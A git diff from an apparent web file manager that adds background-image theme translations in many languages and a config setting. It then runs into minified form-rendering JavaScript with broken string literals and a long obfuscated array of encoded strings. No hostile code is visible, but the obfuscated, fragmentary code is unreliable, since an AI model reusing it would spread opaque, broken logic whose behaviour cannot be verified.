+ "user.wall.random" => "Losowa tapeta", "user.wall.paperDesktop" => "Tapety na pulpit", "user.wall.paperDeskMgt" => "Zarządzanie tapetami na pulpicie", "user.wall.paperLoginMgt" => "Zarządzanie tapetą logowania", diff --git a/config/i18n/pt/index.php b/config/i18n/pt/index.php index 977fe54e..f7250b55 100644 --- a/config/i18n/pt/index.php +++ b/config/i18n/pt/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "Iniciar cor", "user.theme.colorEnd" => "Cor final", "user.theme.colorRadius" => "Ângulo de inclinação", + "user.theme.themeImage" => "Imagem de fundo", + "user.theme.themeImageDesc" => "Suporte: url da imagem, cor gradiente css, seguir papel de parede", + "user.theme.imageWall" => "Seguir papel de parede", + "user.wall.random" => "Papel de parede aleatório", "user.wall.paperDesktop" => "Papéis de parede", "user.wall.paperDeskMgt" => "Gerenciamento de papel de parede da área de trabalho", "user.wall.paperLoginMgt" => "Gerenciamento de papel de parede de login", diff --git a/config/i18n/ru/index.php b/config/i18n/ru/index.php index d95de87b..d762c133 100644 --- a/config/i18n/ru/index.php +++ b/config/i18n/ru/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "Начальный цвет", "user.theme.colorEnd" => "Конечный цвет", "user.theme.colorRadius" => "Угол градиента", + "user.theme.themeImage" => "Фоновое изображение", + "user.theme.themeImageDesc" => "Поддержка: URL-адрес изображения, цвет градиента css, следовать обоям", + "user.theme.imageWall" => "Следить за обоями", + "user.wall.random" => "Случайные обои", "user.wall.paperDesktop" => "Обои для рабочего стола", "user.wall.paperDeskMgt" => "Управление обоями рабочего стола", "user.wall.paperLoginMgt" => "Управление обоями входа", diff --git a/config/i18n/ta/index.php b/config/i18n/ta/index.php index 5c9a8b86..74fb4042 100644 --- a/config/i18n/ta/index.php +++ b/config/i18n/ta/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "வண்ணத்தைத் தொடங்குங்கள்", "user.theme.colorEnd" => "முடிவு நிறம்", "user.theme.colorRadius" => "சாய்வு கோணம்", + "user.theme.themeImage" => "பின்னணி படம்", + "user.theme.themeImageDesc" => "ஆதரவு: படம் url, CSS சாய்வு வண்ணம், வால்பேப்பரைப் பின்தொடரவும்", + "user.theme.imageWall" => "வால்பேப்பரைப் பின்தொடரவும்", + "user.wall.random" => "சீரற்ற வால்பேப்பர்", "user.wall.paperDesktop" => "டெஸ்க்டாப் வால்பேப்பர்கள்", "user.wall.paperDeskMgt" => "டெஸ்க்டாப் வால்பேப்பர் மேலாண்மை", "user.wall.paperLoginMgt" => "வால்பேப்பர் நிர்வாகத்தை உள்நுழைக", diff --git a/config/i18n/th/index.php b/config/i18n/th/index.php index 88280521..43dc8388 100644 --- a/config/i18n/th/index.php +++ b/config/i18n/th/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "เริ่มสี", "user.theme.colorEnd" => "สีสุดท้าย", "user.theme.colorRadius" => "มุมไล่ระดับสี", + "user.theme.themeImage" => "ภาพพื้นหลัง", + "user.theme.themeImageDesc" => "การสนับสนุน: URL รูปภาพ, สีไล่ระดับสี css, ติดตามวอลล์เปเปอร์", + "user.theme.imageWall" => "ติดตามวอลล์เปเปอร์", + "user.wall.random" => "วอลล์เปเปอร์แบบสุ่ม", "user.wall.paperDesktop" => "วอลเปเปอร์เดสก์ท็อป", "user.wall.paperDeskMgt" => "การจัดการวอลเปเปอร์บนเดสก์ท็อป", "user.wall.paperLoginMgt" => "การจัดการวอลเปเปอร์เข้าสู่ระบบ", diff --git a/config/i18n/tr/index.php b/config/i18n/tr/index.php index 406f11fb..87e901b8 100644 --- a/config/i18n/tr/index.php +++ b/config/i18n/tr/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "Renk başlatmak", "user.theme.colorEnd" => "Son renk", "user.theme.colorRadius" => "Gradyan açısı", + "user.theme.themeImage" => "Arkaplan resmi", + "user.theme.themeImageDesc" => "Destek: resim url'si, css gradyan rengi, duvar kağıdını takip edin", + "user.theme.imageWall" => "Duvar kağıdını takip et", + "user.wall.random" => "Rastgele duvar kağıdı", "user.wall.paperDesktop" => "Masaüstü Duvar Kağıtları", "user.wall.paperDeskMgt" => "Masaüstü duvar kağıdı yönetimi", "user.wall.paperLoginMgt" => "Giriş Duvar Kağıdı Yönetimi", diff --git a/config/i18n/uk/index.php b/config/i18n/uk/index.php index 849ed8aa..c346de36 100644 --- a/config/i18n/uk/index.php +++ b/config/i18n/uk/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "Початковий колір", "user.theme.colorEnd" => "Кінцевий колір", "user.theme.colorRadius" => "Градієнтний кут", + "user.theme.themeImage" => "Фонове зображення", + "user.theme.themeImageDesc" => "Підтримка: URL-адреса зображення, колір градієнта css, дотримуйтесь шпалер", + "user.theme.imageWall" => "Слідуйте за шпалерами", + "user.wall.random" => "Випадкові шпалери", "user.wall.paperDesktop" => "Шпалери для робочого столу", "user.wall.paperDeskMgt" => "Управління шпалерами робочого столу", "user.wall.paperLoginMgt" => "Управління шпалерами для входу", diff --git a/config/i18n/vi/index.php b/config/i18n/vi/index.php index 0580328f..04cff103 100644 --- a/config/i18n/vi/index.php +++ b/config/i18n/vi/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "Bắt đầu màu", "user.theme.colorEnd" => "Màu kết thúc", "user.theme.colorRadius" => "Góc dốc", + "user.theme.themeImage" => "Hình nền", + "user.theme.themeImageDesc" => "Hỗ trợ: url hình ảnh, màu gradient css, theo hình nền", + "user.theme.imageWall" => "Theo hình nền", + "user.wall.random" => "Hình nền ngẫu nhiên", "user.wall.paperDesktop" => "Hình nền máy tính để bàn", "user.wall.paperDeskMgt" => "Quản lý hình nền máy tính để bàn", "user.wall.paperLoginMgt" => "Quản lý hình nền đăng nhập", diff --git a/config/i18n/zh-CN/index.php b/config/i18n/zh-CN/index.php index 39c4e52d..d50434c2 100644 --- a/config/i18n/zh-CN/index.php +++ b/config/i18n/zh-CN/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "开始颜色", "user.theme.colorEnd" => "结束颜色", "user.theme.colorRadius" => "渐变角度", + "user.theme.themeImage" => "背景图片", + "user.theme.themeImageDesc" => "支持: 图片url,css渐变色,跟随壁纸", + "user.theme.imageWall" => "跟随壁纸", + "user.wall.random" => "随机壁纸", "user.wall.paperDesktop" => "桌面壁纸", "user.wall.paperDeskMgt" => "桌面壁纸管理", "user.wall.paperLoginMgt" => "登录壁纸管理", diff --git a/config/i18n/zh-TW/index.php b/config/i18n/zh-TW/index.php index 75e69aaf..6c0eddb4 100644 --- a/config/i18n/zh-TW/index.php +++ b/config/i18n/zh-TW/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "開始顏色", "user.theme.colorEnd" => "結束顏色", "user.theme.colorRadius" => "漸變角度", + "user.theme.themeImage" => "背景圖片", + "user.theme.themeImageDesc" => "支持: 圖片url,css漸變色,跟隨壁紙", + "user.theme.imageWall" => "跟隨壁紙", + "user.wall.random" => "隨機壁紙", "user.wall.paperDesktop" => "桌面壁紙", "user.wall.paperDeskMgt" => "桌面壁紙管理", "user.wall.paperLoginMgt" => "登錄壁紙管理", diff --git a/config/setting.php b/config/setting.php index 4bc7ae32..d13cdb72 100644 --- a/config/setting.php +++ b/config/setting.php @@ -258,6 +258,7 @@ 'animateOpen' => "1", // dialog动画 'soundOpen' => "0", // 操作音效 'theme' => "auto", // 'light','dark-mode','auto' + 'themeImage' => "", // url/wallpage/css 'wall' => "8", // wall picture "fileRepeat" => "replace", // rename,replace,skip diff --git a/config/version.php b/config/version.php index 64e53acb..c7c6dfb9 100644 --- a/config/version.php +++ b/config/version.php @@ -1,4 +1,4 @@ .panel-form-body-main > .panel-form-body");return t=0!=i.length?0!=i.find(".tab-content").length?i.find("> .tab-content > .form-row"):i.find("> .form-row"):this.$("> .form-row").add(t),e?t.filter('[data-key="'+e+'"]'):t},"input$":function(e){if(!e){var t=this.formRow$(),i=t.find(" > .setting-content > label > [name]");return t.find("> .setting-content > [name]").add(i)}_.isString(e)&&(e=this.formRow$(e));var n=e.find("> .setting-content > [name]");return 0==n.length&&(n=e.find("> .setting-content > label [name]")),n},"resetValue":function(){var n=this;this.formRow$().each(function(){var e=$(this).attr("data-type"),t=$(this).attr("data-key");if(e&&"html"!=e&&"button"!=e){var i=n.formData[t];_.isUndefined(t)||!i||_.isString(i)||n.setValue(t,i.value)}})},"defaultValue":function(){var i={};return _.each(this.formData,function(e,t){_.isObject(e)&&e.type&&"html"!=e.type&&(i[t]=_.isUndefined(e.value)?"":e.value)}),i},"getValueFormDefault":function(e,t){var i=e.val()||"";return _.isArray(i)?i.join(","):i},"setValueFormDefault":function(e,t){e.val(t).trigger("change")},"renderTarget":function(e,t){var i=this.makeHtml(this.formData);if(!i)return!1;var n=this.formData;(this.$el=e).html(i);var a="dialog-form target-form ";a+=_.get(n,"formStyle.className","")+" ",a+=_.get(n,"formStyle.tabs")?" dialog-form-has-menu ":" ",$.isWindowSmall()&&(a+=" form-box-title-block"),e.addClass(a),e.find(".form-header").remove(),e.find(".form-target-save").show(),"1"==_.get(this.formData,"formStyle.hideSave")&&e.find(".form-target-save").hide(),t&&t(),this.bindEvent()},"setValueReset":function(){var e=this,t=this.setValue,i={};this.setValue=function(e,t){_.isString(e)?i[e]=t:_.isObject(e)&&(i=$.extend(!0,i,e))},this.bind("initFinished",function(){e.setValue=t,_.isEmpty(i)||e.setValue.apply(e,[i]),i=null})},"dialogClose":function(){this.dialogCloseFinished||(this.dialogCloseFinished=!0,this.dialog&&this.dialog.close())},"renderDialog":function(e,n){var a=this,t=this.formData,i=a.makeHtml(t);if(!i)return!1;var r={"padding":0,"fixed":!0,"resize":!0,"className":"dialog-no-title dialog-form","title":LNG["common.systemSet"],"ico":'',"width":700,"height":510,"content":i,"okVal":LNG["common.save"],"ok":function(){var e=a.getFormData(!0),t=!!e.success&&e.result;if(a.trigger("onSave",t),t){var i=n(t);if(i||_.isUndefined(i))return!0}return!1},"resizeCallback":_.debounce(function(){a.trigger("dialogResize")},100),"close":function(){a.objectRemove()}},o=r.className,s=$.extend(!0,r,e);s.className=o+" "+_.get(e,"className","")+" ",s.className+=_.get(t,"formStyle.className","")+" ",s.className+=_.get(t,"formStyle.tabs")?" dialog-form-has-menu ":" ",$.isWindowSmall()&&(s.className+=" form-box-title-block");var l="dialog-form-style-default";_.get(t,"formStyle.tabs")&&(_.includes(s.className,"dialog-form-style-")||(s.className+=" "+l),_.includes(s.className,l)&&s.width&&(s.width+=120)),this.dialog=$.dialog(s);var c=this.dialog.$main.find(".aui-title").html();return this.dialog.$main.find(".modal-title").html(c),this.$el=this.dialog.$main,this.bindEvent(),n&&this.$(".form-save-button").bind("click",function(){r.ok()}),this.on("onRemove",function(){this.dialogClose()}),this.dialog},"save":function(){this.dialog?this.dialog.$main.find(".aui-state-highlight").click():this.$(".form-save-button").click()},"makeHtml":function(e){if("string"==typeof e)return this.loadFile(file),!1;if($.isPlainObject(e.formStyle)&&e.formStyle.loadFile){var t=e.formStyle.loadFile;"string"==typeof t&&(t=[t]),this._each(t,this.loadFile)}var i=l(97),n={"items":e,"wrapID":this.wrapID};return this.renderHtml(i,n,!1)},"bindEvent":function(){var e,i=this;this.viewRendering=!0,this.$el=$("#"+this.wrapID),this.$el.data("kodView",this),(e=this.input$()).each(function(){var e=i.formData[$(this).attr("name")];$(this).data("fieldItem",e)}),this.$("input[type=password]").attr("autocomplete","new-password"),this.bindHotKeyEvent(),this.bindGroupTab(),this.setValueReset(),this.loadExtence(),this.bindFormAll(),this._delay(function(){this.viewRendering=!1},50),(e=this.input$()).inputChange(function(){var e=$(this).parents(".form-row").first(),t=e.attr("data-key");i.switchItemChange(t),i._delay(function(){i.trigger("onChange",t,i.getValue(t),e)},0)});for(var t=e.length-1;0<=t;t--)$(e.get(t)).trigger("change");this.$el.delegate(".form-row.error","click",function(){$(this).removeClass("error")}),this.$(".form-save-button").bind("click",function(){if(!$(this).hasClass("disabled")){var e=i.getFormData(!0),t=!!e.success&&e.result;i.trigger("onSave",t,i)}}),this.$(".form-reset-button").bind("click",function(){i.resetValue()}),this.bindEventInput()},"bindEventInput":function(){var i=this;this.$(".input-title[action]").bind("click",function(){var e=$(this).attr("action"),t=$(this).prev(),i=t.val();switch(e){case"openLink":window.open(i);break;case"clear":t.val("");break;case"qrcode":core.qrcode(i);break;case"round8":t.val(roundString(8));break;case"round16":t.val(roundString(16));break;case"round32":t.val(roundString(32));break;case"copy":$.copyText(i),Tips.tips(LNG["explorer.share.copied"])}});var n=function n(e,t,i){""==t?i.removeClass("item-not-empty"):i.addClass("item-not-empty")};this.bind("onChange",n),this.formRow$().each(function(){var e=i.input$($(this));e.attr("name")&&n(e.attr("name"),e.val(),$(this))}),this.input$().bind("focus",function(){$(this).parents(".form-row").first().addClass("item-focus")}).bind("blur",function(){$(this).parents(".form-row").first().removeClass("item-focus")}),this.$(".input-clear").bind("click",function(e){var t=$(this).parents(".form-row").first();i.input$(t).val("").focus().trigger("change")})},"bindFormAll":function(){var n=this.formRow$(),a=this;this._each(this.getValueWith,function(e,t){var i="bind"+_.upperFirst(t);if(n.filter(".form-"+t).exists()){if(!_.isFunction(this[i]))return;this[i].apply(this,[function(){a.trigger("fieldLoad",t)},this])}})},"switchItemChange":function(e){var t=this.formData[e];if(t&&t.switchItem){var i="button/switch/radio/checkbox/select/tags/segment".split("/");if(_.includes(i,t.type)){var n=_.map(t.switchItem).join(",").split(","),a=this.getValueField(e);if("button"==t.type)a=this.input$(e).val();var r=t.switchItem[a]?t.switchItem[a].split(","):[];_.includes(a,",")&&this._each(a.split(","),function(e){t.switchItem[e]&&(r=r.concat(t.switchItem[e].split(",")))}),r=_.filter(_.map(r,_.trim)),n=_.filter(_.map(n,_.trim)),this._each(n,function(e){var t=this.formRow$(e);_.includes(r,e)?this.display(t,1):this.display(t,0)}),this._each(n,function(e){_.includes(r,e)?this.switchItemChange(e):this.switchItemHideChildren(e)})}}},"switchItemHideChildren":function(e){var t=this.formData[e];if(t&&t.switchItem){var i="button/switch/radio/checkbox/select/tags/segment".split("/");if(_.includes(i,t.type)){var n=_.map(t.switchItem).join(",").split(",");n=_.filter(_.map(n,_.trim)),this._each(n,function(e){var t=this.formRow$(e);this.display(t,0),this.switchItemHideChildren(e)})}}},"display":function(e,t){var i="item-hide";if(this.viewRendering||e.hasClass("no-animate"))return t?e.show().removeClass(i):e.hide().addClass(i);var n=$.easing.def,a={"duration":150,"queue":!($.easing.def="linear")};if(t){if(!e.hasClass(i))return;e.slideDown(150,function(){e.show().removeClass(i).css({"opacity":"","overflow":""}),$.easing.def=n}),e.css({"opacity":0}).animate({"opacity":1},a)}else{if(e.hasClass(i))return;e.slideUp(150,function(){e.hide().addClass(i).css({"opacity":"","overflow":""}),$.easing.def=n}),e.animate({"opacity":0},a)}},"bindGroupTab":function(){var i=this.$(".tab-panel"),n=this.$(".tab-group .tab-item");if(1==n.length)return this.$(".tab-group").remove();var a=this;i.each(function(){var e=$(this).attr("id"),t=a.$("."+e);0'+e+"":(_.startsWith(e,"/")&&(e="folder"),_.startsWith(e,"./")||_.startsWith(e,"/")||_.startsWith(e,"http://")||_.startsWith(e,"https://")?'':r[e]?''+('')+"":_.startsWith(e,"icon-")?'':_.includes(e," ")?'':'')},s=function s(e){var t=!(1"):o(t)},t.pathIcon=s},function(e,t,i){var n=i(10),a=i(33);e.exports=i(11)?function(e,t,i){return n.f(e,t,a(1,i))}:function(e,t,i){return e[t]=i,e}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var u=a(i(8)),n=a(i(283));function a(e){return e&&e.__esModule?e:{"default":e}}var r,o=["LhzDoBoC","w4seO3xL","BcKPw5LDmWc=","XTbClz/DhQ==","w7TDsMK9NsOb","wpl5w6wgYQ==","VQp3CUY=","wo9Dw74tZQ==","IcO9w4ZFRcOOw7hMwo1RLMOyBl3Dj8OrT8OHSA==","w7dcw5s9fg==","woJcworDniUU","fsOPwr9vGg==","w4zDrcO+C8KAwrg1wqrCoMKLHWHDgHwvbVnCknDDkQvCscOsTh/CgTkGWETCg8KUwqrCvMKEZVDDqsKmCWpzUzt6NsOSaMK8LFrCisKpw6oyY8KLw6vDr8O/w5MPA8ONBsO6OsK6wq3ClMOXOl8GL8KHA3tdw5JbKcK1wqVNKkhLGMO6w65gUyEvwo8Bwokz","w6PCicKMwq7DgQ==","CAgL","HsOswoRXLg==","IkJVw7fCskjDvzxfw4nDuQ==","PsOaC2fDiw==","wqgmVcKmU8OyWMOgwrvCnFUuPg==","LMO6bnMQ","cMObLzDDrg==","w7LCqFPCuXU=","KsKYw5HDiU0cwojCgGA=","dwHCvmzDpQ==","w7Bxw7lzJA==","YHp1w5PDjw==","WhoD","wqgxwqvCiy0=","BMKkwoggwofDoA==","PcK1wqHDhlo=","DsOAwqRg","CMKgwrQgwo8=","wr9Qw60tJMOQw4HChcKZDMKqw7LCoyDDlg==","w7AKEk1Y","cMOjCF1c","w6MfwrY2M8KDwpfDlcOb","eRbDqC4Y","wqYqwrfCggI=","LzfDmDw=","MsOpwqhOKQ==","McODU3Agw4E=","w4F2SsK1FA==","ORsXF8KK","wrLDv8KwWAc=","wrYdw6k2","w5TCj1XCnGw=","w5vCpWfCnlAGw4fCt8OdwqLDpQHDm08zwoHCp8Krwr0HwoAQDMOO","EwLDmyse","ZlPCjUxq","QgvDhzYO","OsKkGMKTFg==","PcOdMVA=","w5/DjSRVwoY=","M8ORflAR","QsONwotAFg==","w7rDkA7Dk8OB","wp7DvcOteT0=","VQDCoFnDmMKh","Xn7CgXJh","OAELKMKK","EgvDgDQz","wrtswrLDj8Ow","KsKeHsKtFQ==","QAPCrRHDvA==","wqhHw7A4f8Ofw6XCn8KdEsKsw67Cvg==","Gyg/NsKT","wqV7w5gPbQ==","VsOrwpVDBA==","c1DDhQ==","XUtjwrnDrA==","wqpVwpjCtMOK","w6QEBGht","wo9/wqfCnMOT","wqxsADnDgg==","TU7ChWRnTg==","M8OeDDzCrA==","wrvCqsKRw4HCnw==","w4DDlDPDkMOv","PMO+EcKuwq5yw6lQwqfCocOmF2hsNXPDuzwmTg==","JCoII8KM","wqvDncO6MMOKw6vCvMOEIMKNdg==","L8K2wows","PMKTwp3DnFA=","w4XDtcKZDcO7","wqDDicO0ZxQ=","VUdew4zDrMKy","LcKuwpA8wo8=","Xz/CtznDqg==","TMO2MBzDuA==","ejDCpwLDvA==","wpjDncKUTcK/","B8OHVQ==","wqDDvcO+ZC8=","w4lgwqTCujQ=","FcOAwrFQLcKMwoTCnMKKTA==","wovDtMOIBsO3","VT5tN3s=","wqdewq7ClMOT","w5TClXvCm1A=","QR/CiCvDig==","w4hiwoHCtRA=","w7hofsKoNw==","eFnCqmRO","N8Knw67Dg8KC","w5gyLnZZ","w77DkcK5KcKVw7PDj8OQe8KdJw==","wq/DgMKOXRo=","w48oLmxZGQ==","anZpwoHDrw==","woVawoDDg3oKA8K5woPCmX9lw7I7w7w=","dSTCrgjDqQ==","F8OEKEPDjw==","wqMBw7A7wrxIEMKSdA==","w7R4wrPCmAM=","HAUdeMOJ","w59RScK+Bw==","woM9YQ==","w43Drw3DhcOO","wpRew6EwZsOf","aHtRwo/DhQ==","EzE9RGhYRMOOWSLDpBrDoMKkEEDCg8OoGMOkYsK6LRdCZEU1wos8wpQfe8K/wpccwqI1w6RfAsOnA8OTw5gewpbDqcKWwrnCiMK8cMKCwrvDm8Ofw6xMwqtxPcKdJjsJwpbCnQg8WUbCkcKWw4LDgy5sARMIJcK8wpzCjnrChMOcwoPCtgPDq8OdCRLCt8KYw4x8","w65gwqbCqDU=","wplawpnDkw==","P8OeZ1I8","N8KPMsKfAQ==","KsKAwoojwqY=","RUtQw4Y=","wodLNhbDiw==","w73DoXQ7w48=","UMKyVjDDjsO+DGVmwozCpFvCkcKyOcOqSQHDmlgUY8KMwrrDtAzDkXQffgA1R8KVZMOMwqY=","PQgtHMKL","TVLDtnvDig==","wp3Dh8OMRSk=","w4/DjgXDjsOo","w5rDsQVe","fsOlCnJ3","BAA2E8KA","w6zCinXCg1Q=","w54OL1YW","aElXwpDDjQ==","w7AcwpXCvcOi","IcO7flsd","wpvDn8OGOsOp","wqMew6UrwrNTGsKW","wqgqasKRVQ==","w6HDg8KXCcO1","w67CjmPChUc=","a8OPKzvDsQ==","wrPDrMOfQwTCsQ==","Q0dMw5bDrcKkE8Ocw4fDmyNsaXbDhcK3wp0E","w5dcw60hRQ==","XRzCvE3DnA==","wp/DuMOWRhE=","FcOXwqY=","NcOpwq1PLQ==","wrQAwp/ClA==","w6rCl8Kgwr/DkA==","Si/Dvggb","w6PCtMKEwqTDmA==","dgTCuw7DoQ==","VxbCohfDrDc=","w5zDixxTwo8=","w7TCr8KEwrjDrg==","EcOGTHEx","FsK2wo8swqk=","PMKqwogMwobDoH0SwovCswZdXEQDw4zCj8Oww57Dlg==","w48HM11F","wqMEw7Q2wpFeKsKKacOoNw==","IMKpw5LDjMK2wp8=","wqETwo7CiSUdw7bDhw==","wojCm8K3w5XCmcKiwqzCjg==","aRzDiCo9","VRTDhQI+","wpBPwpHDtDoOBMKmwoU=","w5bDsMKsKsOZ","ah/ClQLDjA==","XRbCrjTDng==","PsK3wowlwoXDt3UFw4vCqRBrUn8Qw4DChMOjw4HDnGM=","P8Kkw43DlHk=","C8KfwoXDpXE=","AsOswo9oKw==","w7Rab8KdHA==","w7pkfMK3NA==","LMOgwpxiIA==","w5xRf8KZOw==","NwRVw67Ckg==","wq3DhsKld8Kx","SD7DghAp","Z1BIw7PDvQ==","w5DDmAFrwrI=","BMKqwp0qwoI=","wp/DvsKlfcK7wps/wpLCqQ==","wrx7wojCqcOr","ERVkw73Csg==","w4gYwqDCn8Om","BsOQR2sxw4HChcKEw5nCqEfClsKfw5jCncOcwpwE","ZsOHOTjDtcKHXwwg","GsKOw5bDm8K3wo/Dh0jDjg==","WxLCsjfDvzzCmsOMw6nCiXVIwpJ2","w5LDmz7DpcOn","w6DDnMKcMcO7","bxfCu27DmQ==","fjduElQ=","bQjDuDsVw41dE0M=","bCzCsQrDpybCpcOhw5k=","KTwMIsKMw4LCsMOmw7U=","HMOURVEjw5zCocKkw5PCrFfClsKFw6Q=","w507NUZGAzxmDg==","woNawonDgjATFsKcwofChHg=","w6PCtMKIwobDnw==","woV2wpDDgiI=","wqJfwpHCtsOj","TUjCtltH","MDQfAsKF","WBXCp33Dg8KnCcKIwqY=","wo7DqcKXYxbDmsKkwprCvA9Q","BAYNJcKGw4XCq8O6w4YyU8KyJhAi","HMOZRnIs","DBnDvkLCnsK1VsKdw7JeGQ7DuFPCoMOgYjLCmg==","w6TCl1zCtnQ=","wrrDhcOgHsOG","w4nDqQPDgsOow4xAwox6","KsKAw5/DjMKw","woDClMK4wpnDsg==","RyjDghoQ","wpfDqko=","wrdGwpXDlTE=","wr9yMBvDpcKb","EgjDpSkZ","dMOKH3g=","H8OGblwV","fBPCq1DDmMK6","HQdGw4HCvQ==","OcKCw5DDlWscw5/CkXLDmV/DjcOj","X1jCglJv","QDjCrDvDiQ==","w5kVw5vDmG1ZVcOpw4E=","fWPDoG/Dhw==","ZsOxwp5WPg==","wrjCvcKSw4HCkg==","w7Zmwq3DjA==","LcOLF8KTwpY=","d8KywpTCnMKMwrbDhEbDv2JdwqVRHMK/wr5jwo3DlMKvw7PDrMKCFsOmwrZlwqJIK8Kuw5RXE2/CgHTDoMKJwprDpcO8JlwpRcOnwqBpw4TCpyBrw77DhiYAw7/DucORw5onPT7CvsKMwr9fw5vDnMKdScK8wpLDmcOEw5LCicKXwpAJXzZ7EnrCsMOnWwHDvzjDn8KPLcKHwrLCsR8=","w5vDhsKNKsO/","RUdFw5fCp8K9BsO4w4PDnDVsbkPDgw==","LMOuAcKTwoU=","B8OWRHckw4Y=","wo8ew6Ewwqo=","MQ3Cgg==","WQjDkgkV","wpIHwo/Dp8OZQ00HwooUw7A=","fnbDvkjDog==","w4AewpzCg8O/","woLDicOCeBE=","HcOGc3Mkw4bCiA==","PQPDljQWwoHCqyI=","wopMwoXDq8OV","wr9qwqvDvcOv","w4dmwqzCpys=","wqbDhsKDQQE=","QUfClmd7","w5bCk8KHwr3DjQ==","w5QXEGUl","woADa8KWfQ==","wo7DpsKmdcK2","wqQcwozCng0R","wqXDvMOzMMOM","acKLYjrDkA==","woYAwoLCkw0=","GsOfCCvCicO3w4DCu211TcKHIMOvM8OEwodcwqjDhA==","w73DtcKnHcOd","WBXCvlvDgsKtLMKJwqhOSQ==","H8KUwr/Dvlc=","Dh9mw5rClw==","VSBmFltwWg==","w5DDtw/Ds8OA","w6x2w7Quaw==","TxbCqmfDgA==","RTdsHlhw","GcKdwrnDgFA=","wpNSKTHDiQ==","woXDnsOrfRI=","w6tcwqXCnxs=","XjfDmggw","wpzCosKrw4nCjA==","wrYNw7Q2","SQB3I10=","w43Cr3Q=","w53Cr3LCk0sRw6fCqcKWwr/DoRvDhw==","ARYYKMKk","IsKWwrDDlmA=","QmdW","O8KYNsKoFA==","wo3DqsOVXRE=","D8KCFMKhN8K4PcOh","Rx/CjAHDgA==","BsOqH2TDlA==","w4wUM2k2","CMOZEMKiwqE=","w6waOFU+","wr9IwpPDoMOS","w7rDuQbDn8OOw41Nwr1oH1gk","wp4CecKweQ==","wpjDiMO7IMOBw7zCi8OuLMKHfTc+","wpQkVMKhfA==","XyrCm3jDng==","wr/Dn8OmGMOFw6TCmg==","wojDvsKPcRTDjMKiwozCrwRaPQ==","w7HDlD9Zwpo=","QhXDpQsw","wqETwo7CiQ==","w4HDsytCwp0=","OsKxOMKICQ==","wq3DjMK5d8K3","FcOfV2YYw5vCgsKi","PgDDmSgbwpjCsSU=","wpJXwp3DlD4sDcKowo3Cn2g=","G8KOwrzDklI6Q8KbRTfDtsO5","SMK6RjDDlQ==","B8OVwrVoPQ==","wrwGdcKURA==","w6TChHzCpVY=","wqzDq8K9S8KxwoYtwrrCqMOHMXc=","SRjCry3Dpw==","woPDqMOHBMKqw57Cq8K5w43DvcKPeB08w48=","IcOwCHnDvA==","wrNVDRXDhw==","wp/CgcK8w4PDt8K+wqrCmsOhSQ==","R3Baw7TDqQ==","fcKjwpUnwoHCuA==","XELDgUzDuA==","LMKNBsKyLw==","w7EwwrXCsMO6","dcKRQz7DtQ==","UHFHwpjCqVnDvw09VzrCicKow6JywpnCsQ==","wr5lw5IVeQ==","w4bDp8KQCsKww47DssKiwpPDr8OobUUlwpFOw4M=","O8Kaw4vDuX0=","wr3DjMO4O8ONw6HCmA==","QH7DvXbDng==","RcKUXxvDmw==","RmdRwrvDvw==","KsOuGSbCnQ==","VMO5MRnDtw==","Y2tjwqPDiQ==","woTDmcOjMMOJ","wrXDmMOxaCE=","w78/wrLClcOk","w5/Cv3jCgEs=","woR1wqLDkBE=","w6DDkMK4E8Oz","wrwhaF1aC8OOdsK/","P8OKwohMLg==","wovDnMKFRjY=","eVvDhlfDoA==","DsKvwpfDun0=","wopfw74DSA==","w7U9wq3Cm8OZ","woslw70KwrU=","RBjCkgLDmw==","w50JMGpA","wpnDgMOUVS8=","wrLDvsKMdBU=","JMKcw6DDv8KW","w6g1DEUs","bxt4P3U=","YzzCkiw=","XGBNw4rDpQ==","Q1jCiWU=","BAYNJcKGw4XCq8O/w4M7RsKlFSwvQcKTdg==","w693R8Kq","w6vCqsKcwprDsA==","fcODwoJQEQ==","wpdtwo3DnyI=","wqBZwrLCj8O9","woTDhsKAbx0=","MMODPUPDgg==","HsKzwrrDoU8=","w5zDlcKDKcO8","wp3CpcK0w7fCoQ==","F8KqPsKPFg==","wpZkwqXDrsOs","XsOowr1yKw==","Uj9gBEU=","RG56w7nDkg==","dgZqOUQ=","wpHDrcKeRR4=","w7vDqw9ewrg=","wqEcw6EwwpR2BsKFb8OxJw==","aMOdF3tZS8OTT0IYwrHDhQ==","wpogwoTCpgA=","FcOFRnIt","UhnCoADDhDvCucOK","BcOnN33Dng==","aRPDmjkT","bsOMLALDog==","w6rDuwNXwrRR","F8KSwqLDnlQ=","XcO4MX10","PsOUB1PDog==","w58/OEZv","wrZlwrrDux8=","ehTCmDXDpg==","Hwp8w4zCpw==","w40bwo/Co8Oe","w6xUwp7CvRA=","SQDDmxcD","wpEbw70LwqU=","w48mM3BQ","YXnDtmfDqg==","w4bDmMKyIsOE","w4HDscKEDcO7w5HDqcKXwp/DtcOJdkYFwoxJw5jCsQ==","w7ZzUcK5MQ==","QlJRw4rDvA==","HcKlwog7wrg=","w6jDrUwGw64=","w5QqL20=","wpJLwpzDtBM=","M8OvdFIe","EsKowqUEwoQ=","wrnDgsO/J8OHw6o=","blPDs2nDgQ==","wonCncK9w5Q=","S8OgCGtt","bcOXKVF3","w4HChsKJwrvDjMO/w49j","TBbCq0w=","JsK9w4PDiMKq","fw/CukzDvg==","w4LDmSpowr0=","wpJewpTDmw==","AgoMIw==","YHpowoXDvw==","CMO0HMKzwpg=","DcObDh3CgMOHw5/Csg==","CMOwJgnCoQ==","woQtwrjCiT8=","Xmhnw4rDhg==","w68pH0k4","dsK2eRbDqQ==","dRx3HFc=","w5lJQ8KaKA==","woFKBj3DgA==","w7JFwp3Cvw0=","woYgw5Mrwqk=","woJPwpTDniE=","AMOHX3kzw5fCgw==","w7ovMkYJEsKN","w4fDli3Dg8Ol","e3/Dq1TDvg==","QCZLGWo=","P8Kfw4zDhmkLwoM=","wqVSwrDDuQY=","wr7Cn8KRw7/Ciw==","IMO7TnM/","ER5Xw7/CsQPDpg==","wqdWwqDCnsOrw6VMwoo=","DcKHEcK8","woZUwqvDjQY=","wrsLTMK9Xw==","wp/DjMKgUcK9","dxfCpFzD